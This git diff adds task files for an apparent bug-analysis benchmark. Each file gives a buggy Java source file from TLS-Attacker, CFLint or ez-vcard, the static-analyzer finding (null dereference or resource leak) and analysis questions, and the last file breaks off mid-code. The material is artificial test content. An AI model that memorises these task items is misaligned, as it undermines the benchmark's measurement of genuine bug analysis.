index 0000000000000000000000000000000000000000..8dff615cba1060f5d5bbb5fe062fc694bf29c945
--- /dev/null
+++ b/inferredbugs-7588/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** TLS-Attacker
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * TLS-Attacker - A Modular Penetration Testing Framework for TLS
+ *
+ * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package tlsattacker.fuzzer.analyzer;
+
+import tlsattacker.fuzzer.config.analyzer.RuleConfig;
+import tlsattacker.fuzzer.config.EvolutionaryFuzzerConfig;
+import tlsattacker.fuzzer.result.Result;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.xml.bind.JAXB;
+
+/**
+ * 
+ * @author Robert Merget - robert.merget@rub.de
+ */
+public abstract class Rule {
+
+    protected File ruleFolder;
+    protected final String configFileName;
+    protected EvolutionaryFuzzerConfig evoConfig;
+    private boolean isActive = true;
+
+    protected Rule(EvolutionaryFuzzerConfig evoConfig, String configFileName) {
+	this.configFileName = configFileName;
+	this.evoConfig = evoConfig;
+    }
+
+    public File getRuleFolder() {
+	return ruleFolder;
+    }
+
+    public boolean isActive() {
+	return isActive;
+    }
+
+    public abstract RuleConfig getConfig();
+
+    public abstract boolean applys(Result result);
+
+    public abstract void onApply(Result result);
+
+    public abstract void onDecline(Result result);
+
+    public abstract String report();
+
+    protected void writeConfig(RuleConfig c) {
+	File f = new File(evoConfig.getAnalyzerConfigFolder() + configFileName);
+	if (f.exists()) {
+	    LOG.log(Level.SEVERE, "Config File already exists, not writing new Config:" + configFileName);
+	} else {
+	    JAXB.marshal(c, f);
+	}
+    }
+
+    protected void prepareConfigOutputFolder() {
+	File f = new File(evoConfig.getOutputFolder() + this.getConfig().getOutputFolder());
+	if (evoConfig.isCleanStart()) {
+	    if (f.exists()) {
+		for (File tempFile : f.listFiles()) {
+		    tempFile.delete();
+		}
+	    }
+	}
+	f.mkdirs();
+    }
+
+    private static final Logger LOG = Logger.getLogger(Rule.class.getName());
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `f.listFiles()` could be null and is dereferenced at line 67.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Rule.prepareConfigOutputFolder()
+
+### Procedure Id:
+tlsattacker.fuzzer.analyzer.Rule.prepareConfigOutputFolder():void.247042f0fe0ba78a6bfa316434a19ac2
+
+### File:
+EvolutionaryFuzzer/src/main/java/tlsattacker/fuzzer/analyzer/Rule.java
+
+### Key:
+Rule.java|prepareConfigOutputFolder|NULL_DEREFERENCE
+
+### Node Key:
+24ee14a57e8a90ab88fc833015223ecd
+
+### Hash:
+8fccf8bd2dd0e99503b9991834766dea
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7589/instruction.md b/inferredbugs-7589/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..67c0192d3fc8671e5c5f826a911732b3d6b74089
--- /dev/null
+++ b/inferredbugs-7589/instruction.md
@@ -0,0 +1,283 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** TLS-Attacker
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * TLS-Attacker - A Modular Penetration Testing Framework for TLS
+ *
+ * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.tlsattacker.tls.protocol.handshake.handler;
+
+import de.rub.nds.tlsattacker.tls.constants.AlgorithmResolver;
+import de.rub.nds.tlsattacker.tls.constants.HandshakeByteLength;
+import de.rub.nds.tlsattacker.tls.constants.KeyExchangeAlgorithm;
+import de.rub.nds.tlsattacker.tls.constants.PRFAlgorithm;
+import de.rub.nds.tlsattacker.tls.crypto.PseudoRandomFunction;
+import de.rub.nds.tlsattacker.tls.exceptions.ConfigurationException;
+import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
+import de.rub.nds.tlsattacker.tls.protocol.handshake.RSAClientKeyExchangeMessage;
+import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
+import de.rub.nds.tlsattacker.util.ArrayConverter;
+import de.rub.nds.tlsattacker.util.RandomHelper;
+import java.math.BigInteger;
+import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.UnrecoverableKeyException;
+import java.security.interfaces.RSAPrivateCrtKey;
+import java.security.interfaces.RSAPublicKey;
+import java.util.Arrays;
+import javax.crypto.BadPaddingException;
+import javax.crypto.Cipher;
+import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.NoSuchPaddingException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * @author Juraj Somorovsky <juraj.somorovsky@rub.de>
+ * @author Philip Riese <philip.riese@rub.de>
+ */
+public class RSAClientKeyExchangeHandler extends ClientKeyExchangeHandler<RSAClientKeyExchangeMessage> {
+
+    private static final Logger LOGGER = LogManager.getLogger(RSAClientKeyExchangeHandler.class);
+    private static RSAPublicKey bufferedKey = null;
+
+    public RSAClientKeyExchangeHandler(TlsContext tlsContext) {
+        super(tlsContext);
+        this.correctProtocolMessageClass = RSAClientKeyExchangeMessage.class;
+        this.keyExchangeAlgorithm = KeyExchangeAlgorithm.RSA;
+    }
+
+    @Override
+    byte[] prepareKeyExchangeMessage() {
+        RSAPublicKey publicKey = null;
+        if (!tlsContext.getX509ServerCertificateObject().getPublicKey().getAlgorithm().equals("RSA")) {
+
+            if (tlsContext.getConfig().isFuzzingMode()) {
+                if (bufferedKey == null) {
+                    KeyPairGenerator keyGen = null;
+                    try {
+                        keyGen = KeyPairGenerator.getInstance("RSA", "BC");
+                    } catch (NoSuchAlgorithmException | NoSuchProviderException ex) {
+                        LOGGER.error(ex.getLocalizedMessage(), ex);
+                    }
+                    bufferedKey = (RSAPublicKey) keyGen.genKeyPair().getPublic();
+                }
+                publicKey = bufferedKey;// TODO not multithreadable
+            }
+        } else {
+            publicKey = (RSAPublicKey) tlsContext.getX509ServerCertificateObject().getPublicKey();
+
+        }
+        int keyByteLength = publicKey.getModulus().bitLength() / 8;
+        // the number of random bytes in the pkcs1 message
+        int randomByteLength = keyByteLength - HandshakeByteLength.PREMASTER_SECRET - 3;
+        byte[] padding = new byte[randomByteLength];
+        RandomHelper.getRandom().nextBytes(padding);
+        ArrayConverter.makeArrayNonZero(padding);
+
+        byte[] premasterSecret = new byte[HandshakeByteLength.PREMASTER_SECRET];
+
+        RandomHelper.getRandom().nextBytes(premasterSecret);
+        premasterSecret[0] = tlsContext.getSelectedProtocolVersion().getMajor();
+        premasterSecret[1] = tlsContext.getSelectedProtocolVersion().getMinor();
+        protocolMessage.setPremasterSecret(premasterSecret);
+
+        LOGGER.debug("Computed PreMaster Secret: {}",
+                ArrayConverter.bytesToHexString(protocolMessage.getPremasterSecret().getValue()));
+
+        protocolMessage.setPlainPaddedPremasterSecret(ArrayConverter.concatenate(new byte[] { 0x00, 0x02 }, padding,
+                new byte[] { 0x00 }, protocolMessage.getPremasterSecret().getValue()));
+
+        byte[] paddedPremasterSecret = protocolMessage.getPlainPaddedPremasterSecret().getValue();
+
+        byte[] random = tlsContext.getClientServerRandom();
+
+        PRFAlgorithm prfAlgorithm = AlgorithmResolver.getPRFAlgorithm(tlsContext.getSelectedProtocolVersion(),
+                tlsContext.getSelectedCipherSuite());
+        byte[] masterSecret = PseudoRandomFunction.compute(prfAlgorithm, protocolMessage.getPremasterSecret()
+                .getValue(), PseudoRandomFunction.MASTER_SECRET_LABEL, random, HandshakeByteLength.MASTER_SECRET);
+        protocolMessage.setMasterSecret(masterSecret);
+        LOGGER.debug("Computed Master Secret: {}", ArrayConverter.bytesToHexString(masterSecret));
+
+        tlsContext.setMasterSecret(protocolMessage.getMasterSecret().getValue());
+
+        try {
+            Cipher cipher = Cipher.getInstance("RSA/None/NoPadding", "BC");
+            cipher.init(Cipher.ENCRYPT_MODE, publicKey);
+            LOGGER.debug("Encrypting the following padded premaster secret: {}",
+                    ArrayConverter.bytesToHexString(paddedPremasterSecret));
+            // TODO can throw a tooMuchData for RSA Block exception
+            if (paddedPremasterSecret.length == 0) {
+                paddedPremasterSecret = new byte[] { 0 };
+            }
+            if (new BigInteger(paddedPremasterSecret).compareTo(publicKey.getModulus()) == 1) {
+                if (tlsContext.getConfig().isFuzzingMode()) {
+                    paddedPremasterSecret = masterSecret;
+                } else {
+                    throw new IllegalStateException("Trying to encrypt more data then modulus size!");
+                }
+            }
+            byte[] encrypted = null;
+            try {
+                encrypted = cipher.doFinal(paddedPremasterSecret);
+            } catch (org.bouncycastle.crypto.DataLengthException | ArrayIndexOutOfBoundsException E) {
+                // too much data for RSA block
+                throw new UnsupportedOperationException(E);
+            }
+            protocolMessage.setEncryptedPremasterSecret(encrypted);
+            protocolMessage
+                    .setEncryptedPremasterSecretLength(protocolMessage.getEncryptedPremasterSecret().getValue().length);
+            return ArrayConverter.concatenate(ArrayConverter.intToBytes(protocolMessage
+                    .getEncryptedPremasterSecretLength().getValue(),
+                    HandshakeByteLength.ENCRYPTED_PREMASTER_SECRET_LENGTH), protocolMessage
+                    .getEncryptedPremasterSecret().getValue());
+        } catch (BadPaddingException | IllegalBlockSizeException | NoSuchProviderException | InvalidKeyException
+                | NoSuchAlgorithmException | NoSuchPaddingException ex) {
+            LOGGER.info(ex);
+            throw new WorkflowExecutionException(ex.getLocalizedMessage());
+        }
+
+    }
+
+    @Override
+    int parseKeyExchangeMessage(byte[] message, int currentPointer) {
+        int nextPointer = currentPointer + HandshakeByteLength.ENCRYPTED_PREMASTER_SECRET_LENGTH;
+        int length = ArrayConverter.bytesToInt(Arrays.copyOfRange(message, currentPointer, nextPointer));
+        protocolMessage.setEncryptedPremasterSecretLength(length);
+        currentPointer = nextPointer;
+
+        nextPointer = currentPointer + length;
+        protocolMessage.setEncryptedPremasterSecret(Arrays.copyOfRange(message, currentPointer, nextPointer));
+
+        byte[] encryptedPremasterSecret = protocolMessage.getEncryptedPremasterSecret().getValue();
+
+        KeyStore ks = tlsContext.getConfig().getKeyStore();
+
+        try {
+            Key key = ks.getKey(tlsContext.getConfig().getAlias(), tlsContext.getConfig().getPassword().toCharArray());
+            RSAPrivateCrtKey rsaKey = (RSAPrivateCrtKey) key;
+
+            Cipher cipher = Cipher.getInstance("RSA/None/NoPadding", "BC");
+            cipher.init(Cipher.DECRYPT_MODE, rsaKey);
+            LOGGER.debug("Decrypting the following encrypted premaster secret: {}",
+                    ArrayConverter.bytesToHexString(encryptedPremasterSecret));
+            byte[] decrypted = cipher.doFinal(encryptedPremasterSecret);
+
+            protocolMessage.setPlainPaddedPremasterSecret(decrypted);
+
+        } catch (KeyStoreException | NoSuchAlgorithmException | UnrecoverableKeyException | InvalidKeyException
+                | NoSuchProviderException | NoSuchPaddingException | IllegalBlockSizeException | BadPaddingException ex) {
+            throw new ConfigurationException(
+                    "Something went wrong loading key from Keystore or decrypting Premastersecret", ex);
+        }
+
+        byte[] plainPaddedPremasterSecret = protocolMessage.getPlainPaddedPremasterSecret().getValue();
+
+        int plainPaddedPremasterSecretLength = plainPaddedPremasterSecret.length;
+
+        int plainPaddedPremasterSecretoffset = plainPaddedPremasterSecretLength - 48;
+
+        byte[] premasterSecret = Arrays.copyOfRange(plainPaddedPremasterSecret, plainPaddedPremasterSecretoffset,
+                plainPaddedPremasterSecretLength);
+
+        LOGGER.debug("Resulting premaster secret: {}", ArrayConverter.bytesToHexString(premasterSecret));
+
+        protocolMessage.setPremasterSecret(premasterSecret);
+        tlsContext.setPreMasterSecret(premasterSecret);
+
+        byte[] random = tlsContext.getClientServerRandom();
+
+        PRFAlgorithm prfAlgorithm = AlgorithmResolver.getPRFAlgorithm(tlsContext.getSelectedProtocolVersion(),
+                tlsContext.getSelectedCipherSuite());
+        byte[] masterSecret = PseudoRandomFunction.compute(prfAlgorithm, protocolMessage.getPremasterSecret()
+                .getValue(), PseudoRandomFunction.MASTER_SECRET_LABEL, random, HandshakeByteLength.MASTER_SECRET);
+        protocolMessage.setMasterSecret(masterSecret);
+        LOGGER.debug("Computed Master Secret: {}", ArrayConverter.bytesToHexString(masterSecret));
+
+        tlsContext.setMasterSecret(protocolMessage.getMasterSecret().getValue());
+
+        currentPointer = nextPointer;
+
+        return currentPointer;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `publicKey` last assigned on line 58 could be null and is dereferenced at line 77.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] RSAClientKeyExchangeHandler.prepareKeyExchangeMessage()
+
+### Procedure Id:
+de.rub.nds.tlsattacker.tls.protocol.handshake.handler.RSAClientKeyExchangeHandler.prepareKeyExchange.e9fae13b36fc43c784c6e994f4094944
+
+### File:
+TLS-Core/src/main/java/de/rub/nds/tlsattacker/tls/protocol/handshake/handler/RSAClientKeyExchangeHandler.java
+
+### Key:
+RSAClientKeyExchangeHandler.java|prepareKeyExchangeMessage|NULL_DEREFERENCE
+
+### Node Key:
+89164183295eb6345138e0406223c3df
+
+### Hash:
+f324646ebe6ac8f24d0b0614b4c92064
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7604/instruction.md b/inferredbugs-7604/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7200584202e7754af85e0e2a6ea0324ac7c18670
--- /dev/null
+++ b/inferredbugs-7604/instruction.md
@@ -0,0 +1,107 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** CFLint
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.cflint;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+public class Version {
+
+    public static String getVersion() {
+        final InputStream is = Version.class
+                .getResourceAsStream("/META-INF/maven/com.github.cflint/CFLint/pom.properties");
+        try {
+            final BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+            String line = reader.readLine();
+            while (line != null && !line.startsWith("version=")) {
+                line = reader.readLine();
+            }
+            if (line != null) {
+                return line.replaceAll("version=", "");
+            }
+        } catch (final Exception e) {
+            try {
+                if (is != null) {
+                    is.close();
+                }
+            } catch (final IOException e1) {
+                e1.printStackTrace();
+            }
+        }
+        return "";
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 14 is not released after line 20.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String Version.getVersion()
+
+### Procedure Id:
+com.cflint.Version.getVersion():java.lang.String.e1bb4ce91af4edb5c295c87c6635ceef
+
+### File:
+src/main/java/com/cflint/Version.java
+
+### Key:
+Version.java|getVersion|RESOURCE_LEAK
+
+### Node Key:
+403b923eb008d1cc6b180a4b1bc6a1bb
+
+### Hash:
+f35bebc4a47ebef4b8417dd37c3ab537
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7713/instruction.md b/inferredbugs-7713/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e20564dbb2fb18bc2421727a4efad94e1acbda42
--- /dev/null
+++ b/inferredbugs-7713/instruction.md
@@ -0,0 +1,306 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ez-vcard
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package ezvcard.types;
+
+import java.util.List;
+import java.util.Set;
+
+import org.w3c.dom.Element;
+
+import ezvcard.VCard;
+import ezvcard.VCardException;
+import ezvcard.VCardSubTypes;
+import ezvcard.VCardVersion;
+import ezvcard.io.CompatibilityMode;
+import ezvcard.parameters.TelephoneTypeParameter;
+import ezvcard.parameters.ValueParameter;
+import ezvcard.util.VCardStringUtils;
+import ezvcard.util.XCardUtils;
+
+/*
+ Copyright (c) 2012, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ The views and conclusions contained in the software and documentation are those
+ of the authors and should not be interpreted as representing official policies, 
+ either expressed or implied, of the FreeBSD Project.
+ */
+
+/**
+ * A telephone number.
+ * 
+ * <pre>
+ * VCard vcard = new VCard();
+ * TelephoneType tel = new TelephoneType(&quot;+1 123-555-6789&quot;);
+ * tel.addType(TelephoneTypeParameter.HOME);
+ * tel.setPref(2); //the second-most preferred
+ * vcard.addTelephoneNumber(tel);
+ * tel = new TelephoneType(&quot;+1 800-555-9876;ext=111&quot;);
+ * tel.addType(TelephoneTypeParameter.WORK);
+ * tel.setPref(1); //the most preferred
+ * vcard.addTelephoneNumber(tel);
+ * </pre>
+ * 
+ * <p>
+ * vCard property name: TEL
+ * </p>
+ * <p>
+ * vCard versions: 2.1, 3.0, 4.0
+ * </p>
+ * @author Michael Angstadt
+ */
+public class TelephoneType extends MultiValuedTypeParameterType<TelephoneTypeParameter> {
+	public static final String NAME = "TEL";
+
+	private String value;
+
+	public TelephoneType() {
+		this(null);
+	}
+
+	/**
+	 * @param telNumber the telephone number
+	 */
+	public TelephoneType(String telNumber) {
+		super(NAME);
+		this.value = telNumber;
+	}
+
+	/**
+	 * Gets the telephone number.
+	 * @return the telephone number
+	 */
+	public String getValue() {
+		return value;
+	}
+
+	/**
+	 * Sets the telephone number.
+	 * @param value the telephone number
+	 */
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	/**
+	 * Gets all PID parameter values.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @return the PID values or empty set if there are none
+	 * @see VCardSubTypes#getPids
+	 */
+	public Set<Integer[]> getPids() {
+		return subTypes.getPids();
+	}
+
+	/**
+	 * Adds a PID value.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @param localId the local ID
+	 * @param clientPidMapRef the ID used to reference the property's globally
+	 * unique identifier in the CLIENTPIDMAP property.
+	 * @see VCardSubTypes#addPid(int, int)
+	 */
+	public void addPid(int localId, int clientPidMapRef) {
+		subTypes.addPid(localId, clientPidMapRef);
+	}
+
+	/**
+	 * Removes all PID values.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @see VCardSubTypes#removePids
+	 */
+	public void removePids() {
+		subTypes.removePids();
+	}
+
+	/**
+	 * Gets the preference value.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @return the preference value or null if it doesn't exist
+	 * @see VCardSubTypes#getPref
+	 */
+	public Integer getPref() {
+		return subTypes.getPref();
+	}
+
+	/**
+	 * Sets the preference value.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @param pref the preference value or null to remove
+	 * @see VCardSubTypes#setPref
+	 */
+	public void setPref(Integer pref) {
+		subTypes.setPref(pref);
+	}
+
+	/**
+	 * Gets the ALTID.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @return the ALTID or null if it doesn't exist
+	 * @see VCardSubTypes#getAltId
+	 */
+	public String getAltId() {
+		return subTypes.getAltId();
+	}
+
+	/**
+	 * Sets the ALTID.
+	 * <p>
+	 * vCard versions: 4.0
+	 * </p>
+	 * @param altId the ALTID or null to remove
+	 * @see VCardSubTypes#setAltId
+	 */
+	public void setAltId(String altId) {
+		subTypes.setAltId(altId);
+	}
+
+	@Override
+	protected TelephoneTypeParameter buildTypeObj(String type) {
+		TelephoneTypeParameter param = TelephoneTypeParameter.valueOf(type);
+		if (param == null) {
+			param = new TelephoneTypeParameter(type);
+		}
+		return param;
+	}
+
+	@Override
+	protected void doMarshalSubTypes(VCardSubTypes copy, VCardVersion version, List<String> warnings, CompatibilityMode compatibilityMode, VCard vcard) {
+		if (version == VCardVersion.V4_0) {
+			copy.setValue(ValueParameter.URI);
+		} else {
+			copy.setValue(null);
+		}
+	}
+
+	@Override
+	protected void doMarshalValue(StringBuilder sb, VCardVersion version, List<String> warnings, CompatibilityMode compatibilityMode) {
+		sb.append(VCardStringUtils.escapeText(this.value));
+		if (version == VCardVersion.V4_0) {
+			sb.insert(0, "tel:");
+		}
+	}
+
+	@Override
+	protected void doUnmarshalValue(String value, VCardVersion version, List<String> warnings, CompatibilityMode compatibilityMode) {
+		if (value.matches("(?i)tel:.*")) {
+			//remove "tel:"
+			value = (value.length() > 4) ? value.substring(4) : "";
+		}
+		this.value = VCardStringUtils.unescape(value.trim());
+	}
+
+	@Override
+	protected void doUnmarshalValue(Element element, VCardVersion version, List<String> warnings, CompatibilityMode compatibilityMode) throws VCardException {
+		Element ele = XCardUtils.getFirstElement(element.getChildNodes());
+		value = ele.getTextContent();
+		if (value.matches("(?i)tel:.*")) {
+			//remove "tel:"
+			value = (value.length() > 4) ? value.substring(4) : "";
+		}
+	}
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `ele` last assigned on line 225 could be null and is dereferenced at line 226.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TelephoneType.doUnmarshalValue(Element,VCardVersion,List,CompatibilityMode)
+
+### Procedure Id:
+ezvcard.types.TelephoneType.doUnmarshalValue(org.w3c.dom.Element,ezvcard.VCardVersion,java.util.List.7996cfac4e4819b34003101893ced4a6
+
+### File:
+src/main/java/ezvcard/types/TelephoneType.java
+
+### Key:
+TelephoneType.java|doUnmarshalValue|NULL_DEREFERENCE
+
+### Node Key:
+fdb1f2fbea286a7be2bdab2f2dfd8b72
+
+### Hash:
+2fcc4a30e7b646352bb154bfdac5a05c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7722/instruction.md b/inferredbugs-7722/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..81cecbcb4e060c9b2b3678640265a804bd7b1e1f
--- /dev/null
+++ b/inferredbugs-7722/instruction.md
@@ -0,0 +1,249 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ez-vcard
+**Bug ID:** 38
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package ezvcard.util;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * Manages objects that are like enums in that they are constant, but unlike
+ * enums in that new instances can be created during runtime. This class ensures
+ * that all instances of a class are unique, so they can be safely compared
+ * using "==" (provided their constructors are private). It mimics the
+ * "case class" feature in Scala.
+ * @author Michael Angstadt
+ * 
+ * @param <T> the class
+ * @param <V> the value that the class holds (e.g. String)
+ */
+public abstract class CaseClasses<T, V> {
+	protected final Class<T> clazz;
+	protected Collection<T> preDefined = null;
+	protected Collection<T> runtimeDefined = null;
+
+	/**
+	 * Creates a new case class collection.
+	 * @param clazz the case class
+	 */
+	public CaseClasses(Class<T> clazz) {
+		this.clazz = clazz;
+	}
+
+	/**
+	 * Creates a new instance of the case class.
+	 * @param value the value to give the instance
+	 * @return the new instance
+	 */
+	protected abstract T create(V value);
+
+	/**
+	 * Determines if a value is associated with a case object.
+	 * @param object the object
+	 * @param value the value
+	 * @return true if it matches, false if not
+	 */
+	protected abstract boolean matches(T object, V value);
+
+	/**
+	 * Searches for a case object by value, only looking at the case class'
+	 * static constants (does not include runtime-defined objects).
+	 * @param value the value
+	 * @return the object or null if one wasn't found
+	 */
+	public T find(V value) {
+		return find(value, false, false);
+	}
+
+	/**
+	 * Searches for a case object by value, creating a new object if one cannot
+	 * be found.
+	 * @param value the value
+	 * @return the object
+	 */
+	public T get(V value) {
+		return find(value, true, true);
+	}
+
+	/**
+	 * Searches for a case object by value.
+	 * @param value the value
